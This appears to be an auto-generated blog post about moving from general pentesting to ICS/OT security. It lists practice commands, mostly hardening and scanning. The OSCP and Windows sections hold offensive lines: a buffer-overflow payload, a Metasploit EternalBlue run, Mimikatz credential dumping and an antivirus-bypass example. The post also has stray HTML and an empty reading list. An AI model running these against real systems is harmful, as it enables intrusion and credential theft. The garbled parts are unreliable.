How I Met Pentest and Transferred It to ICS: A Journey into Cybersecurity

Listen to this Post

2025-02-13

Yes, you need pentesting, especially in ICS/OT environments, because it equips you with the knowledge to expect, protect, and respond effectively. Here’s how my journey unfolded and how you can apply these lessons in practice.

1. Starting with Kali Linux

When I installed Kali Linux, I learned:

  • What Linux is: A powerful, open-source operating system.
  • Why working with the console and scripts is cool: Automation and efficiency.
  • How to secure servers: Using tools like `iptables` for firewall configuration and `fail2ban` to prevent brute-force attacks.

Practice Commands:


<h1>Install Kali Linux tools</h1>

sudo apt-get update
sudo apt-get install kali-linux-core

<h1>Secure SSH access</h1>

sudo nano /etc/ssh/sshd_config

<h1>Change PermitRootLogin to 'no'</h1>

<h1>Change PasswordAuthentication to 'no'</h1>

sudo systemctl restart sshd

<h1>Set up a basic firewall</h1>

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -j DROP

2. Network Scanning

When I started scanning networks, I gained:

  • Understanding of routing: How data travels across networks.
  • Knowledge of the OSI model: The seven layers that define network communication.
  • Proper network segmentation: Using VLANs and subnets to isolate traffic.

Practice Commands:


<h1>Scan a network with Nmap</h1>

sudo nmap -sP 192.168.1.0/24

<h1>Check routing table</h1>

route -n

<h1>Create a VLAN</h1>

sudo vconfig add eth0 10
sudo ifconfig eth0.10 up

3. OSCP Journey

The OSCP certification taught me:

  • Practical security mindset: Thinking like an attacker.
  • Buffer overflows and exploitation: Writing and executing exploits.
  • Real-world penetration testing: Applying skills in controlled environments.

Practice Commands:


<h1>Exploit a buffer overflow (example)</h1>

./vulnerable_program $(python -c 'print "A" * 260 + "\xef\xbe\xad\xde"')

<h1>Use Metasploit for exploitation</h1>

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
exploit

4. Windows Escalation

When I escalated privileges on Windows, I discovered:

  • AV limitations: How antivirus can be bypassed.
  • Reverse engineering: Analyzing `.exe` files for vulnerabilities.
  • Mimikatz: A tool for extracting credentials from memory.

Practice Commands:


<h1>Extract credentials with Mimikatz</h1>

privilege::debug
sekurlsa::logonpasswords

<h1>Bypass AV with obfuscation</h1>

Invoke-Obfuscation -ScriptBlock { Start-Process notepad.exe }

5. Pentesting PLCs and ICS

When I pentested PLCs and ICS, I:

  • Learned industrial protocols: Modbus, DNP3, and more.
  • Handled hardware: Direct interaction with devices.
  • Gained engineering-level knowledge: Beyond theoretical understanding.

Practice Commands:


<h1>Scan for Modbus devices</h1>

sudo nmap -p 502 --script modbus-discover.nse 192.168.1.0/24

<h1>Analyze DNP3 traffic</h1>

sudo tcpdump -i eth0 -nn -X -s 0 port 20000

What Undercode Say

Pentesting in ICS/OT environments is not just about breaking systems; it’s about understanding them deeply. By learning Linux, networking, and exploitation techniques, you gain a holistic view of cybersecurity. Here are some additional commands and tools to enhance your skills:

  • Linux Commands:
    </li>
    </ul>
    
    <h1>Monitor network traffic</h1>
    
    sudo tcpdump -i eth0
    
    <h1>Check for open ports</h1>
    
    sudo netstat -tuln
    
    <h1>Secure file permissions</h1>
    
    chmod 600 /path/to/sensitive/file
    
    • Windows Commands:
      </li>
      </ul>
      
      <h1>Check for open ports</h1>
      
      netstat -an
      
      <h1>Disable unnecessary services</h1>
      
      sc config ServiceName start= disabled
      
      <h1>Audit system logs</h1>
      
      Get-EventLog -LogName Security
      
      • ICS/OT Tools:
      • Wireshark: Analyze industrial protocol traffic.
      • PLCscan: Identify and assess PLC devices.
      • GRASSMARLIN: Map ICS/OT networks.

      For further reading, explore these resources:

      Pentesting is a continuous learning process. Stay curious, practice relentlessly, and always think like an attacker to defend effectively.

      References:

      Hackers Feeds, Undercode AIFeatured Image